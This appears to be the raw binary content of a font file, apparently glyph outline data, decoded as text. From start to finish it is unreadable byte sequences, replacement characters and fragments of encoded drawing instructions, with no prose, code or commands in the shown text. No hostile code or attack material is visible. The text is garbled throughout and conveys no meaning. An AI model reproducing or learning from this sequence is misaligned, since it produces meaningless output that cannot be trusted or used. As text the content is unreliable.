$.5!#2>54.64&"32���^w"��!^pz=/N8b���^,TwK`�m;l�������q�IIy�zI1Of�u�y!:R2vPD�5;C$Z�`20]�[;eN6Ii�Dx�y=A���l/eT6=e�GItQ+��~�}=Y9FD�%3!53#5!#!2.#!�������E���(��8HU/�fyyy�yy��!�"6'ZJ�)3!#3!535&$.>$75#.'>S����aa�����������aa���h-Pk>>kP�+NlAAlN�yJ
B~��āEdyydD��|@K�!���`)_&]�]�]&��*`�j�2E#".'%;>32#"&'!2.#!3!5332>54.#"E��x("w^c���i1Vx��SE{9�E��x(��"w^������!@\<;]?!!?\<}| �DPvy�u:<x�{R�jO4�!�DP�yy\�P$$T�db�X(��V����
%2#""$&6$ {������y����oo�*v+�oo��\BKLB�����syj�j �jj�൴���kP��y�'1=!##".54>3!# $.$4.'>#";P	K.LjB�W��O,J`gh,㾨�^x��V����(LmEEnK��g/((/g�y?X:!TCnQ6R;&	y��
K����σ=9w�G�^/	��
2ac9f@%�����D�	>=!hb���TЊV��m�sd	!s����d��x�#%"#4>32>53�NrJ$j:h�VNpI#n9h��!3?T�h:0@#]�c3��d	!���d��x
�{�'>32#".'332654.#"
b��U>�mF9[o6>dL0	�%*=;/?#G~c?�u�{? BcCD^:9O0$
@31!3Z|HZ��3!Z���#�k(��*'*%# #5!3265#5!3265#5!3!5#"&�J�s����S^h�>R`g�>�n���ja�+y���34��y���h��y�Ry�]VcZ�V5D!%!3!53#5!>32!4.#"5�������!GUe?����$;*kdyy��yy�y�0D+���wD\8���#x�VTD-!!3!53#".54>325!4&#"3265�_����c�Y�q�}CC}�q�Y��`i6L00L6i`���y��yy��N�Ђ�АM��y����']�ut�^(��d�V�D%%!3!534.#"3!53#5!>32�������$;*kd������!GUe?��yy��yy�D\8���#yy5y�0D+���2���3!5#"&5#5!!!3265��� FUf?������!!Xkc�y�0C,��y�y��65��x�VTD)!!53#".54>325!4&#"3265�_���Y�q�}CC}�q�Y��`i6L00L6i`��!yy��N�Ђ�АM��y����']�ut�^(��Z�
!!!53#5!�l"�䘘�'y��yy"y�Z�V�D!!53#5!>323!534.#"��˗��!GUe?������$;*kd��yy�y�0D+���yy5D\8���yZ�VFBB32>7#""3!53#5!>323##".54>;.6p#>.�(!�6yfD������+m~�IJ��vY7��
X��hj�v?-_�e�-@OW[�+X�_)Ed&O|U�yyy�y�1D*6Tv�`y��o2"GmK=lR0LrQ4x��B&!".>;#5!#"32>5B��U���ќ[Z��wˤ���6L./K74M2'y�l�ՌCC��͇Cty�y*`��m5N�l<�V�!53#5!>323!534.#"3<���!GUe?������$;*kd��Vy�y�}0D+���yy5D\8���yyZ�V�'	!53#5!�������yy�y��F�Vl43!5#"&54.#"3!53#5!>323265#5՗� FUf?��$;*kd������!GUe?��!!Xkc�'�Ry�0C,��+D\8���yyy�y�}0D+����65���yx��XO/".54>7%!#32>54.'#"\��ؠ]Ex�]��_1F@n.�67��";Q/,K84U<#">/�ъEH�̃l��[�bCI�-\0yV�ޣl4-X�UW�m24k2�Vf3!53#".5#5!3265#5!���>�n+XQG4��>R`f��yy�]V!=c�b�y���h��yZ�!353#5!>323!534.#"3a��!GUe?������$;*kd�y#x�}0D+���yy5D\8���#yx��PC8J%3!5#".54>7".'.546?32>7!4.'3265��� FUf?Z�c4[��N	)7@UK=6`^CoQ!EB==%fnh'Q��]��!;P/6:!!Xkcyy�0C,5i�fڶ�7
	M0.h7lM	q5?E!	N��rg�o=5s��X�65��d�V�D!!534.#"3!53#5!>32����$;*kd������!GUe?����yy�D\8���#yy5y�0D+��+���x+/A47#53>32#.#"3!5#".%326=4.'�:6a�5���f2VME"~)3<iZK�ߡ[�� FUf?Z�c4v!!Xkc.Oj;	���yl��Q
�0@'?n�UN��r�Zy�0C,5i���65��I^�b8?��y(���+8"3!5#"&5#5!32654.54>32#&�AK!292!�� FUf?����!!Xkc 070 @w�j)VSL~�A@%?<@M^=�y�0C,��+y���65��z6VJABH*?fG'��V�V+'#5!#!532>5ɗ�����$2�y�y��y/Q>���x+A"3265#5!3!5#"&54>7.54>32#&T&7$@8!!Xkc�� FUf?��2$$C3<q�g)VSL~�0=+O?*`
&08���65���y�Ry�0C,��� C>3+>U9EsR.���V�M6>323!!".54>76454.#"5w��TY�e74VnrnV4#3!�� 9,3Tmrp\=<[>,K@5N:_B$0Z�OQ��tnlnt?"y#2!'LOUap��]<hK+$1d�D!353#5!>323!534.#"3d���!GUe?������$;*kd�y5y�0D+���yy5D\8���#y%�VRR-!".54>7#".54673273I�w/<"S��TJ{Z2)-WJ%!)Ib9=B"x�i0>6��y-<!T���Q#>R0*Y-VH#> 4%Z]��T?N(�V',#"&'# #5!3265#5!3265#5!3!51>�n��,J�s����S^h�>R`g�����]Vchja�+y���34��y���h��y��yyy�VL0N.54>323!!".54>7654&.#">54&x5]E(h��c��Z@k���oI%2e�:#:*5Zu@7�+DZ51G/
+5:,4\D'(,S]lEQ�pC/a�dP�skgfi7y$1$GIM++03e�9nV4 3@!"&/A9:'<E&O+,cq~Gd�D+4.#"3!53#5!>32!!53>�1L3kd������$MT^5V�uE(BS+R�z+%2lDpQ-���#yy5y�5E)7t�{M��k%yyr��(���'3!5#"&5#5!3265#5� FUf?����!!Xkc�'�Ry�0C,��+y���65���y(�VL!53#"&5#5!3265#5!L��� FUf?����!!Xkc���yy�0C,��+y���65���y��(��*D3>323!4&#"3!5#".5#5!3265#5!�>�n+XQG4��>R`f��>�n+XQG4��>R`f��]V!=c�b��yo�h����y�]V!=c�by���h��yF�V�D!53#5!>323!534.#"3F���!GUe?������$;*kd��Vy�y�0D+���yy5D\8���yyx�9�D$5#"'5332>=#".54>325!4&#"3265�R����q��QrG!Y�q�}CC}�q�Y��`i6L00L6i`��`p�x?B�je$S�ey�N�Ђ�АM��y����']�ut�^(��d$'	%!53#5!$�@���yyy5y�R(�V*5>323!4&#"3!53#".5#5!3265#5!�>�n+XQG4��>R`f����>�n+XQG4��>R`f��]V!=c�b��yo�h���Hyy�]V!=c�by���h���yZ�VqD0!!5#53#5!>2#"&'32>4.#"\��������-��DD~�qp�-1L56L//K65L1�yiiyvy�TPM���БNPT��i]�V((^��]'(V�n��D"%2>54.#" .> �7N00N78N11N��ޛSS��ߛRR�T+g����f*+g����g,qM��АLM���ϒ=�VU/:F&$.5<7!##".4>3!#3!54.'>#";#����u�2Y}N�W�MV��Yr���lj������X^,V�T[�R'�H?#B33B#?��1R��j
yCfI/2$Kv�tI"y��Q��mh��a��yyS_�[4��
@h��)GnI+2���!!5#"&5#5!3265#5�� FUf?����!!Xkc�'�Ry�0C,��y���65���y���y"74>2".4>32".�$080$#1:1#%01$$181$h1$%161$$1�81$$10$$Z���
3267#"&'Z?�XR�B?�XS�B���$��u*2:%323"+5323"+53#5!5332#6764'&'676'&''��uu�����y��ז���yy8%JH$;P1RS1Oj&i��PjFj����t����\X��+6�4
��(BE)u��;4.+"!5#5!>323!354.#!53#5!#!23!�(9 ?3 ��|�,169�]wE}�||*�3||^{X�qA}���5&&BY2�|{+%=c}Bv���
z;ii��!A_=�vu2�/%354.#!53!".5*&"#5!#3!#5!#323!n/7��|��k�k6	/(^{9@A|^{e~�K��x�4*z�IzZS{|��XT||�ᓖ�wu�Z��&32>54.#!53!3!53#5!#2!�� 7S8��}�p{��yyU|>aJ4 �:5bPRa2|�ȁ�9}}��,Ldqv8�u����C4.+";2>5!#!".=4>7!#53!3#'5#.)Y�alX�e7+^�hj`�Y*\b��Ȃ�b3Xv��F����MxP���B��xY5�h��MF��nK{�}?M��i��UW��uJ�r^I2
Gj�v ��w�j��1Piw�@u����%3!3!53#5!#3!l|�p{��||V}}��w�遁~~�-xu��*�%4.+3!53!3!53#5!#!23!~3.�{��z�qo��{yS{BAuY4V�T"=-��xy�ń�8|}��,Ol?���U����74.#%;2>5%#!".5#".=#5!#3!#! /,=#��:H�0!d3e�`�z]�p?�@pT0z_}
@yH�1,��j_0O98U�e81\�Tm$AY5�||y&1~������	?�7;#"4.+3!".=4>3!#!23!$B]p�G��s��IR
$D:�z�u��Ěk8?r���}�zU�qB��F���e;�l���<cG(�6z9g���e�h©�c7{�s8g�Y��zU����%3!".='#5!#3!#3!`x��?`A"u[{
#rr��xZ(CV.�||s2)y��yu���
'4.#!3%3!53!".5#5!#!2/(?+��5N4h��}��XyL"{]z�V�U,�8J,�m;N/�Jyz73Wr>`||��&U�`u����-4&#%;265%+".5!!53#5!#2o;6��.�6;eK|�T�]�~J��4xv�k��L?9C�f!=/YQC`�V(3^�U�p�z|��"JxW�����I";2654.#'#!".54$!35!".=#5!#3!#!23!�=M+ 2#vIK�
 5'�-_�i��i�xA��5]E'w\}
1'	~BVzM#��0�-J6�!!;-XK��7Y?"��a�V'+Y�\c���.A)}||N
# x�)V�[�}u����*23!54&#!!23!534.#!3!53#5�NuP(}�0%��sq�d.}��|4+��{��||�9hT|�%)��;f�K��yyX.`N2��yy�{�����U4.+";2>5##".'+".=4>;232>5!�3f�g�=l[I31G\o@n8l`P;!g/c�i4YNG#,NOS1�_���f93]���eԘ�m*Lk@'{O19h���p:d���UkA���l@7`���N���QuK$)L? / 0[���q�jƮ�h9�ڨ�Z���7LP*?G8U��L�3#+".5#".=#5!#3!#;2>5#5!L}1k�z�~�q5�C^<y[|*�{	-#�$|^�xS|S)&PxS�'E`8uzzp1(�n-J57N/�}U����+%3%".=#".5'#5!#;;#5!#3!cz��`�Q$�Aa@!z\|+/� $�|^{{��x7 JxY�7_J�xx�$�u*7zx�+yu��k�14.++".5#5!;265#5!#!23!�	$�+G`jp4�_�}I|�@<�9Ka~NN}W/~�B.$��BoYC-<k�V3��akakyy��.^�b��u����##+".5#5!#;2>5#5!�J��a�U��Q|^{+�*~b��V�a46c�V�yy�5W>"0C'�vu����	/4&#!!265354.#!53#5!2#%!23!<F��0EB�z	*!�3{{��s32r����Vu�M���HP��>K��93#z z=]?��E^9��/Rn>�y���F�R4.+";2>52>54.'+".=46$;23!�/EZm?�Dr]G07Nbs@\@q_J3�$J<%%2/���g�iª�d7l����
�n
LzV/?��R���f::f���SbS���b85_���X��6K.(6%	^�\.3`���t���pn�⯲!UVP2CX9�{u��[�2+76"37+3!53# 4>3!2�Zl��m\��5I--I5�$K�υ�}��y����E�Ί��ώI,��J�ʀ|��C �З�Q��yy857���]\���U��3�3354.#'3!53%".5'#5!#;#5!#!23!�x+�~��|��G|]6z\y 3%�{_~tBy[6}��.�,Q>%��yyp$ImI�yx�!LB+�xx��/Nh9�~u���%34.+"3!53;23!�z
*�'	{��{����}��x�a�N! M�c�yyG�����yu��5�%3!".5#5!#3!#5!#3!�~�]o�p8|^{'7 f|_}}��x7>u�k�xx�BmN,%xx�+y����7##!".=4>73!2>5!".5#5!#3!#5!}M|�N��L��R?d|>!.&��l�}Dz\{/ Q{_L��=t[72VuC�(dcU��'I8""9J)�"T�kzz��H?*
zu��6�!23!534.#3!53#5!V�T�m@���}3'��{��z{[M�sGu�Q�]yy�*XG-�7yy�xx ����K%#".=46$;3!52654.+"32>=#5!#3!:$]x�\<h���c6q�%�W:���e>�,:DI$WDvdN62I]p@[>q`N7�1||���.L7 +U~��zߺ�e<Xs�U||-EHF6!9c���L�?���eA$9FE<Ã��x���(�;";2>54.#'+".54$)#5!#!23!�:S5(=*�0"�#�Aw�k�i��H|bC7r\:~�0�5H*�9bH*&Fc=G�6+��d�`/8f�Xd��
zz��'Z�k�/~u����
74.#!!2>5354.#%3!53#5!2#!!23!7,7��@!;,�z��|��xx�M�rFAo�T�Q3`�p>~���%�1!,���*'��xx�{)BQ(�/WC)�!?]<�}���	�E+".=4>3;2>=4.#!#5!#3!!32	8_���JxP��xW2L{�Q.,+OsHJ'NI?/+=HS,��x!����e���b7�I}fN6-ASb7^IgBQ"jO,=dG' 6GLN#L,]WM:!�zz�xZ�� =Yr�Ou���#%354&#!53#5!#!#5!#3!!23!|JH�||`~�z_���L���~��w�E[~xx��6xx��{����yu��n�
G4.+32>5!+3!53!"3!534>7!!".5'#5!#3!2-C,��3D)fA~�w�}����1>"
z��{;t�uc�Th�_-y_}
%B5�n��H7.L7��.D-QtI"��xy6cP��yy]XpA
(G;�xx�!JxWu����'#+".5!!53#5!#;2>5#5!�Bt�^�o�F��}}�|IN�, }b��TrG(R}U�k|yy�#v�#;P-Y|u����354.#!3!53#5!#!23!�})��}��||`},��v5}��V�=L+�rxy�yy�.`�e�|u����G+".5#5!#;2>=4.'.=4>3!!5#�2Yz��S�Q��}\4v;k1CLR)fU~S)6f�[m�h3Dr�T����5I*I��`7�D|lX?"$@Xfr:{}�,a^U@&?u�fAN~eO#?PmPV@Y8�Ա�:6/2ASm�Wu����%3!".5#5!#3!#5!#3!�{�ǁ�v7|]x??:|`~~��xMBw_!����dsyy�,zu����%3!53!53#5!#!#5!#3!<y��z��{{]zY{`~}��xyy8�xx��xx�����
�
 K4.#!!2>5";2>5!+".=4$!3#5!2#%!#3!�'>,��;2#��7+	*!� *
iF��o�h��L�v��ړLB�{������C�;.�q,7�~+>(�(F4!;R2|��Q�e9-\�_t���zBt\3TrE�~� |\nS�5#".54>732>54.'.=!SX��d^��N DlLX/'?Q*6G,/9#D6!
.< +ZK0�s�n66k�i>qaR�%3#<[<.SrD?cM9>M_=ZX>V=-Len��G4.#"32>5%#".54>7>54.'.=!B
(NDGM$'SLBI$PF��|�ʆC+Fi�]!)!C8#9	4+=�mF?]�h88g�[R�n@:a�H+�՘T^��t>|thS:')7$	%6K3�� 
3CY;K��P�4��I%4.#"32>%#".54>7>54&#".54>32�:U8Hd?>bG>Y8H`��l�؟Y3e�dPmCB?*9#�J?4l�qZ�uD��Z��Q,U�d7([�jQzR) MuxŠJK��lc�wd4*OJG"=E
*.�(hP9gP/.Pm?W�>Pz�n�=�rd4.#"32>54.#"'>7.54>32>32#".54>73.#"P:06G))F60:�5l�n06A+�5;D)1aYM8 C��|7TC3A�[p��GF��mq��N$$)1!4B&5a�W<�zlQ0�BlM*"T�lZ{L!FvZ��3mZ9(F9�*!CPb{�^b��O'1:H�ǀu��EO��a4YQL&
	/]�Xb��i(4;H_{RF�3is?%#".54>732654.#".54>32iC��Q�x_B#)CUZW" #]ihV0D($>.- v?dD$M�Zu��Dn�z@&BXdj3@eL6$d
-@T4��|77E&
)@,%" �N\_&h�Z)5e�`P�4usR%#".54>732>=4&+532>54.#".54>32uU��`u˗W>l�U#&8T;*=(PUZc7+*D0,K860QGjF"E|�h[��X,H\00aN1r�t;Ap�WRrM.g0<J.DW2$C^:c���0N9Oe8'E6(
�DVXS�`4*X�[JqT<EXmA��'W4.#"32>4.#"32>%#".5467.54>32>3"".#*
)/~6P61E++E3CT/HM��xw��IHNDvW2Cm�Jf�c02(|<YzO5H4'AfF%19[?"9\BDV2.V�AK�pDCu�[4veB3`�l�ٍCF�˄��JIgDo�a-Bp�R6|8
K�^6�(B1"Qp�n�rN4.#"32>%4>32>32+532>54.#"3#".B4I,1I1.J7.I3�,V��i_�DLLGo��J)Hbq{=2+(B0-G1!).
L��yvŠL;n�[(([�lm�^**]�o�ՊCC:.!D�ԑ]�`A!�Am�Ln�[($!"BHR0�ՒKP��nzs)#5>=4.#"#&54>32z���!.
,N=4D(,'�{�I��uv��KR���p|	 DoY�u�Y#T��oYvI'
|r*�yˑQN��2�3^sO%#".54>732>=4.#!52>54.#">32^Y��i7yvkR0Kt�A'$1M5CN(
"��'YXP=$*$%3"g!@7*f�j7*Ib9E�iA��q1,D\tFWwN*
l.9F-HY1*W�\10`L0�#1;C$ -	(	,RvJ3SE;Qz�Fn�=�~�#'2>54.#"!5>=4.#"!5>=4.#"#4.'.#'>7.54>32>32>32�5Wows/(E2%5!#;,��'<('=)��
/E.2:	h^@�vgL+�,EVUJYoI1+CCL3�F~C\�m<&C\mx=&OKBBJL"$LH?2�[Z��O�Y�{]? �2d�dXk9	"G=P-H+CD+H,S4G++G4U'%&BD'%(Q4C&:[p5��c0=L[k?*G:-"+C.�0<
.���Dd�pJ-)8! ;.,="EU+i�n��C4.#"32>%#".54>324&#".54>32S'1: 2F,3O7<K,?S��a�яJW��d8v0`u*F2O�0!Lz�N�Ӈ?]�[5-Z�Zq�\'&T�-��o/R��xȐP%yEL
 5(%<� ED>R{R*,Z�]��G4&#"3265%#".54>3232>7#".#">32][V/VA&5N4]oSW��sq��J0_�]B^D09>D&D>Oa9'B9/'!
CB<h��RF��*_�lv�M��l�ٕM=y�xqg�],".P*\M1$+H6��
A��n��sX#.#5>54.#"!5>=4.#"#.54>32>32�-QqC&722 �.RPR-hm;5*E3��4G*0: 
#6A�O�f;C~�p3ZM?ASc;g�yBMA��y%
%4$�F_;���CxX4 >[;D*I)BB)I*D;[> 0UuE�
>nX;}'r��ptŐR3D'(E2T��n��J#".54>732>54.+532>54.=3�D��{�ˌJ7e�T
.N:>G$	7U:q�!+'?PTQ?&�.KadaK.3Pd0CvX4�n��IBn�KCs`L{
+25AlN+-RsFi�_,�6K,3D/!%7O;02#-!+@]BDgL3Im�n�3�qD32>53#".4>732>5#'52>54.#�[�@3qmbK,�O��rk��V1e�i'	,L;8N1>�J:>@va�!-B+�#"'�Ѝ�::e��oL/b3:F-)B.'JjCt qY8_D&3�'27)n����_">32>32#52>54.#"!5>=4.#"3#.54>7>73dM�|e$,n93YL?=JV1j��J1c�b�>S2=6?5$��"2:`W&D[6�Y�l<4]�ΌY�tR�-Io�T/Ql=)0B&&B0H��~Y���'�)Z�hU�l><dIH)M'BD'L(HKc<��e�d1�#���XG�����%#%,!GRTD+����A#".54.#"#54>3232>54.54>7"�U��hl��I
�?cEJvR,Q[=N..7.9fQA69.FQF.�n�}DO��h�"+)"��+M9!+U~S����E�kWlE,.=3!FFE�1E;<Ok#�4��t4&#">4&'32>#".547'>323267332>54&'#".54>73.54>32#�73),,!2A
1081/&)#=[����sš}U,��'MF8R3d20"A; %	4W}Wh�Q "'
5JY1AeF$@:YF$FeADkJ'BSQ�{bE%� (/%8&?�N-_(%U0&�8����p8e���_�8�,9?�&	y-bhm9�鳀Q&P��l�K 5'8N028C/.b72R:  :Rdg6aw���(�3�so%+".5467;2>54.#"!5>5'4.#"#".57!32>32>32�>{�xk2podM.��((
+=%`&6% &"�

&,=16eO0$% !/D360(/9D'Q�c86k��P8PdxC��$a6H]<0VA& 5EGF,(4)(�/1/DB/2/�. 
"8W< HqQ�M}*!$2LXL2 ))'\�pn�3�ss4.#"32>#".54>732>=4&+532>54.#"3#".54>32>32$<.6C'
%C53?#lS��|��7K�fAdF/N9 3A$#(8" 8,*''
&B[kw=p��FF��u"OOLHHCl��H/Qn?<fK+�VtE&KqJNuN'%Lv��a�r>=bz>863�)C07P2vX[�%T�e@a@ 1;F(`�fC'K�^c��K+*
Bw�cY�bC.Ggn�3��@%#".54>732>54.#".54>32'%3�@}�wyИV=l�V ;+:S4<J(*EV+.&�,6@k�L3PC:�o��`�JE{�bIvX9i)�`Db?(Hf>- :,!9,9H�HMKCxZ4
"�̔n�>�sa'>54."!5>=4.#"!654.'&"#"'>7.54>32>32�2n�|:<I'

#=`Q: ��2L30@&*Jb9?���f>��-a�j	 H@3�.�bM�rEJ��n4_SDN[d3j�{D�V��}<�)GSkMKnJ$.K7)L&BB&L)7K.'MrLD�tc$(FKYw�j1vlT7P2�;D,v��f|�m12B%$A2;r�P�3wr=%!".54>732>5#".54>7332>5!w����k��W1a�b)B08O3'g9e��O$MyV�<T5"6&*N:#D8���/UuFNpM.n'3=":.#AZ8~Du�ZMq^V13_\]1?oQ/2G,���\4.#"32>%#".54>324.#"#54.#".54>32>32c";P/7E(-M:3K2?L��{T�tY;Q��n<v-
"$	�)-,1MjB5Um8,MB69AE"P�]3EV�Y-2[�MZ�l<S�+b��O/Sp��Go��Q5%�!7/��/7'X9#�GKJ Lh>,89,"[�{�����C>54.#">32+532>54.#"!4>32h*#0=L1c��O.Nfpr2\`:5$(?./WC(��<r�hY�Z-1Ri7�^23'=bG��G��q[��nN)�4l�pL�_5!:O/�2-l�j5(Hb:4[M>n�3qrW%#".=4>732>732>54.+532>54.53q1Vt��H��U'>M&@NT'(1(SL?�6=#Dc�bA!3E'W�&'9D9'�7R_R7N�p$TTN<$M�mU:h��C���8+6>!	
(� j��B��c�}G*Lj@L�b7�+G50LB;@J/4C5/@ZE)XL8

!.<Oen��04.#"32>%# 4>324.#52S$@Y5*;&.L9.J3BL��v��I��iN�3,3S��P��a#;g�Sf�a/N�dz��G(gȝa8-vGQ(
�6d�[Z�*��z4.#"7>'>54&#"#54.#">32#654&'.'.54>32>32; 0 1VA%=bE$�3J/V	
*%.%�$%	6�hZ�{H-"TjteI
�!%*
'W�d$@5+/<H+WxI �7[A$%?T0-ox{re%	R����*HDC$L.,.- ��+M=
:JTOC<G?q�\J[nC$v����/c[)g���p i����8u�s9"++!;YZ�4��~.#"32>7%#".54>732>54.57#".54>32>54.'%>73%H+-*	..,/��.FQF.\��`lÒVEp�M!%3F+<J(-6-/e<AjK*)NoF<::

.#!!	��%JC;�$UTN<$*1;-��WB$'-1,+���JGeQFPdE��n1H��kCnR4
_<Nb<5Q7*EV,@reYOGs/;9Tb)0gT6%0HcD-$GHK(GT]1�@\~W-KFGTfAMRR!��T(�����C32>54.#"#".54&#"#54632>74>7
YUCW2,?*,Q@&�[��tq�~D�~�@dE%8&6\|F;AT4	T��S�}�4P8:nU4 :S4���@V��rÆ|oT�x��	PxY@�*.4J��2�3�s�%#".'#".5732>54.#"'>7.#".54>32>54&#".54>3232>54.'7�1Tn=+WXWVU)!6.)1p_?8l�g<nV3�"*&C1%,%�Pr�N);31&�^]9Zp6d�v['!KJE42!
~3N^*>lQ.Afz9&X,#*/.-*!(Q(N=%�>dG'	9^�a),2#GpOP}W.<Y;5 -
!;.(E3#-D}sk2{�[$	0+)�K�M9fL-<r�i
'3D,$)	
31G0F/AcD;\J:&MSQ@'	%	�:GTn��d#".546732>54.#2>54.#2>54.'.53323�R��d>�|nS0��>
$A[74D'!'��*&!'��($%KBc�`0�	%}�~M+/JY+,\K0'F`82bN0�q�m5'?]~Ql�9Y%5G1@^?>_AQg<[=)?,-A)XS
4*$1/ZN#
-;I*5.&+7B&+H;/JRVn��
w4&#">32>54.'73#!".54>3232>54.#"32>4.#"b)2&0F/0�,%-?&SPTSB(.FR$F=))?I J?*����z˓R-`�j3W@$4YwC+6A&=V7��
#%��B<#HnLA#3J��&!2:_�bI"J2@P`o?&MF<18=<:65?J*��,xը��B(QxPUpM4�^�[5+6!D8#JI .5(71#9n�@�s>4.#";2>%327".'#3267.54>32>+F41I1!3=!@1TCjL,EBeS��w<P{v~R5T$%@ StJ!Y��id��Ysh�IM�b��i))i��U��t3GD��/D,*G3  ! 7x��Sv��GK��n�3��T2>7#".54>732>73##".54>732>574.+50_Q=(eg`"[�}J%)*%	3*Am_Q&�6Yq:��P��qoT5f�^'#+H6%F6",D1P-9Zq9+=jS%=72Z+K(&!;X:�ڐX@·ch�v@L}�UJx[?f
;KQ#;dH)1S>�:`E&�n�3��d%#".54>732>54.#"32>54.54>32.#"�G��x[�yZ<3e�`+$5O39C#,��$3SkojS3Ht�KL�sQ��->+ B6">f���f>AhK3kV77~��C)FZac*R{Y:m&<XBFb>0Sp@1ZE*U$E0=K^=%!)EjSUxM# M�`7>R0':%CR3"?cN4[J8:OhCn2�*:J'#37'##".54$%5"# $54>3237"32>534.#"1���6p�{ϓPbp!����L��x��x7��k�W&7Q5 :+��'Z�j3F*.F0��7����U�i<8f�W¿���W�e83a�\�{:[=:O1	%=Q^1
f"2Pn�3�[4.#"32>".54>32>7>32#"&'#732>54.#"3�6J-;2%;J%'>*��|͔RM��m/7<Et[00q9n��LF��v9f0:z��Y"-
(9@&>-:T5?��M#F>�O3C(U��?:�ڟ�و>\yL*OF/t>�Ӗ�߈:�Z�Y-�!�?G$	U�|~�Un�4�S#".54>7>54.#".54>3232>54.'71Tq��DC��tV2)F^ks74_H+2B$QL	
	� 6(<r�hQ�xH?e~>3gT4u�1XB'AR�]2N}`E-;Vo�LIycRF<38C+>K)
ER�6;>"5q^<*W�[FueW' JWh>��#A];>TC=(s)ajt��3�s;!32>54.'3#"&'32>54&'7# 5�D#:N*+8:U6�f�_,O��e<c(ap0B)&'RKNK:$W��j����^�6-Q=$GrTQoWM.$Yl�N[�l<�uov'?.?m6	)6E+EvV1
�n�3�}J32>54&#"4>3232>54.'7#".5467.�7S8Hg@|�>V6��,Mk}�HٟY��LqL&QB'C1	�$6%E|�h[�m<��X��QtT�^2-a�k��,Z�XP�rX=F��l���i&NMJ EE
(9'13;bG(.Nh;Y�>T~�n�r�s>'>54.#"%.#"'>7#.54>32�$AY5w	
&LB-P;"!1@O\RD2��	6.9:1
�0{J?aC#N��vj��V�'RND>!") 1cP2?fJEfN:1.4Jd�PZo>5H+qN^ -]l~Mf�n97e������/4>2".4>2".4>2".�5FPG44GPF55FPG44GPF5F5FPG44GPF5�ND33DND33�ND33DNE33�ND33DND33#��+6! 4>323267#".'3&"'"'6324#"32>�����0XO($	]M0W-#0"''���QNN!��4	7\B$

!x)-"������2BFD'	3!53'!3!53!Vyu���F�rE��q{yz-�'�Ryy��yy��yyF�'##5!!53#5!!53!535!3!53#5!�y�yy���y�����R��q{��I�>'�ߦ�Ά�{��z���y��yy5yy����0D5?326=# !54&#"#6$32>32!#32673#"&3264&#"�N^[O�M�o����	�|�r��+���NY�|������{grq_�q���mjOYV^�ҩ����NN6-ηyu��MONN����?t�Wa�""M��n�`pFm',%32654&+532654&+53#53#5! 3#!?Pv���POo��wO�������V
��l���yPk]b�JHDJ�Ry�y1y��_8y
Gt��T��`D32673# !2#.#"�}�r~pu�o���4o�up~r��ȃ���**((**�ه�F('%32654&+53#5! !?[����[����0���y����Ry5y������F('353#53#5! !'32654&+3#F�����0���[����[��y^y^y������y�����y;�'#5!!53#5!!53!53#5�y�yy���y����'�ߦ�Ά�{��z���y5y����D2 !"'&'53327654'&+5327654'&'&#676x0eg��ge���Wcdmt
>>ul:9FG�&&�EF99ms|�_^D��gGGHGf��%�]-.43_L>@x>@I`32\|�a_��d-#"&54632#5!#3!�pQOooOQp�}�������QooQOon�yy��y��/'7533265#5!#!"&�MLaM�����S�'�^X���yy���"��F�'�"�'3535'%#5!#%!53���F��sF�G�xyրu��yy��u���h���F�'�F�'#3!53##5!#�������Ԭ�}�,'z��zz�w�zz�����T��DR���D&#"#>3 !"&'332}�r~pu�o4���o�up~r��ȃ�'**����**'��T���l	 654& ! ! ����p*)�����p\Zrq[[�v2?������T���+.5! !5>54&#"���&(**�ه���πx&��8���o�up~r�}z�k�4��"�'	>54&#;# 467'7>3 :�ZX���YY��H�v����22�V�K�v)22�V�|[Ln^[Nm[��BD@o�P�T�AA���t�H�V
���D1"26&326=# %54&#"#>32>3 !"&=p[Z�\\��O]ZN�K�v����	�z�s��'�ф�HFԇ:������������ҩ����PL:(϶zt��MOMO�������M<��~E!654#5 ! 4%&5!"!254��x@������hDG�
�CFCKRuy�qnz�����a�
y� bP��ETD! !&"T?>�sZ�\)������T��! !265�������Z�\����)����F�'3!53#5!2#64&+32?�����v���І{b&&f��yy5y����d��s�'%2&'&'&5476763!#3!53#"!53>%#"3�)!\O]�r�װ��H�8":��;��*p�y30'5@7f7An�K	5y��yyc[��y>BWY
 *H><3s�'%2.'#5!;#5!#3!"'&'&547676#";�Rp*��ŷ:"8�����)�r�]O\!yyf7@5'03y 	B>y��[cyy��y5	K�nA7J3<>H* 
��B�'�/��'#5!#3265#5!## &5ǘ{��gV����������yy��ko��yy�շ�����h��!53##!#!2654&#!#��y�_T���ym�k���%y,��?�|����BXkc�p�h��	-%"&462"&4632!53##!#!2654&#!#<VVxWX;<VV<;XXZ�y�_T���ym�k���%y�XxTV:<X�XxXXxX�?�~����BXkc����0#!#3!2654&#!#3!2654&#!#3!53#�ja���yy��h����yy��h����yy5y�]Vc�J�s���y=S^h`>R_hx���>�n�������'Y����'Z��HF']T��`'!!#!#"%53327654'&+���5w��{]X�����o(U��N?CY�gK�+w��IE��K=9�<&PD7NX5FK��j� 3253# 4%5 54#"#563 ����qx�q^��qx����H��Bx�W���B����W<��.D#232673#"'#"&'3327.545�_�pM`r~pu�oԓ��o�up~r`Mp�]D���bR����**ZZ**'��Rbܰ�"��Fd'���FD'N��F�'9��F�'K�'/543!#"3!535$'&=4+5!2#5!#676�H@_N����o���P_?I�Bz���yC���y`��[K�yy�KZ��`y�ŋH-yy��
(c��$��^'������5333!53'!3!
Mb�cZ�G\M��Np$��C�CC��C-:�����#!#535!3!53#5!#5!353#5#!53�%0Hx��Zg��Hu�W���UU��U��
C��CC�B�v��i��i��w�<���#53#5!2#32654&+3264&+<yy.��wv����SlifoSZytuxZ�C�BefIVmZzt�EGHA�PS�V/�%�	%/32654'&'#53#53#5!23##367654&+�;xt:'B���y��y.��<��L�ၙ9"4foS�UYZ,
�aD[MDghJ,M7\|v�#HIB<�)�326&+53#5!2#�X����X��yy�
���f��
C�B�r�<���53#5!#5!353#5#!53<yyNW�t�VV��V�C�B�v��i��i��w�<���!53!##33!#5!#3���W��VV��uWMxx��wMiiv�B�P6���.#"32675#5!#"$$32x�x����5[%qSj�n���d�c�ma�����B��+*���#$�<���53#5!#!#5!#3!53!3<yy�ywy�yy�y��y�C�BB��BB�PCCP��C<� �53#5!#3<yy�yy�C�BB�PC���1�533265#5!##"&^Q10=0��x��4j�31Rq�BB�$�{<���53#5!##5!#3!3<yy�y�e_}���]���]y�C�BB��,BB��NC���C<�o�
53#5!#!53<yy�ysU�C�BB�X��6�X�53#5!	!#3!53#36xx�

�yy�x�ܟ��x�C�B��B�PCCr��=��C9�h�53#5!#5!##39xx&8xIy���x�C�B��BB�
